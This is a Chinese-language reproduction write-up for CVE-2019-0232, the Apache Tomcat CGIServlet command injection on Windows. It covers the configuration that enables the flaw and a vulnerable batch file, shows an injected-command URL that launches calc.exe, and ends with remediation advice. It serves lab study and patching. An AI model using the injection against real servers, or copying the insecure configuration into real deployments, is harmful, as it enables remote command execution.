CVE-2019-0232-Apache-Tomcat-RCE
forg12

描述

​ 该漏洞是由于Tomcat CGI将命令行参数传递给Windows程序的方式存在错误,使得CGIServlet被命令注入影响。

​ 该漏洞只影响Windows平台,要求启用了CGIServlet和enableCmdLineArguments参数。但是CGIServlet和enableCmdLineArguments参数默认情况下都不启用。

影响版本

  • Apache Tomcat 9.0.0.M1 to 9.0.17
  • Apache Tomcat 8.5.0 to 8.5.39
  • Apache Tomcat 7.0.0 to 7.0.93

环境搭建

jdk1.8.0_131

Tomcat: 9.0.13

下载地址:

https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.13/bin/

jre环境变量设置

​ 在tomcat的bin下面,找到setpath.bat,在其中添加以下内容后运行。

1
2
set JAVA_HOME=C:\Program Files\Java\jdk1.8.0_131\
set JRE_HOME=C:\Program Files\Java\jdk1.8.0_131\jre

image-20221018114407065

image-20221018111327426

修改配置文件

conf/web.xml

​ Tomcat的CGI_Servlet组件默认关闭,在 conf/web.xml 中找到注释的CGIServlet部分,去掉注释,并配置enableCmdLineArguments和executable。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  <servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
1
2
3
4
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>

image-20221018110904522

image-20221018110921220

conf/contet.xml

 给conf/context.xml中的<Context>添加`privileged=true`属性,否则会没有权限。
1
2
3
4
5
6
7
8
9
10
11
12
13
<Context privileged="true">

<!-- Default set of monitored resources. If one of these changes, the -->
<!-- web application will be reloaded. -->
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>

<!-- Uncomment this to disable session persistence across Tomcat restarts -->
<!--
<Manager pathname="" />
-->
</Context>

image-20221018111007666

添加bat文件

在webapps\ROOT\WEB-INF下面创建cgi-bin文件夹,并在文件夹内创建一个bat文件。

1
2
3
4
5
@echo off
echo Context-Type:text/blain
echo .
set foo=%~1
%foo%

image-20221018111100013

复现过程

1
http://192.168.3.47:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe

image-20221018111415895

修复建议

1、禁用enableCmdLineArguments参数。

2、在conf/web.xml中覆写采用更严格的参数合法性检验规则。

3、升级tomcat到9.0.17以上版本。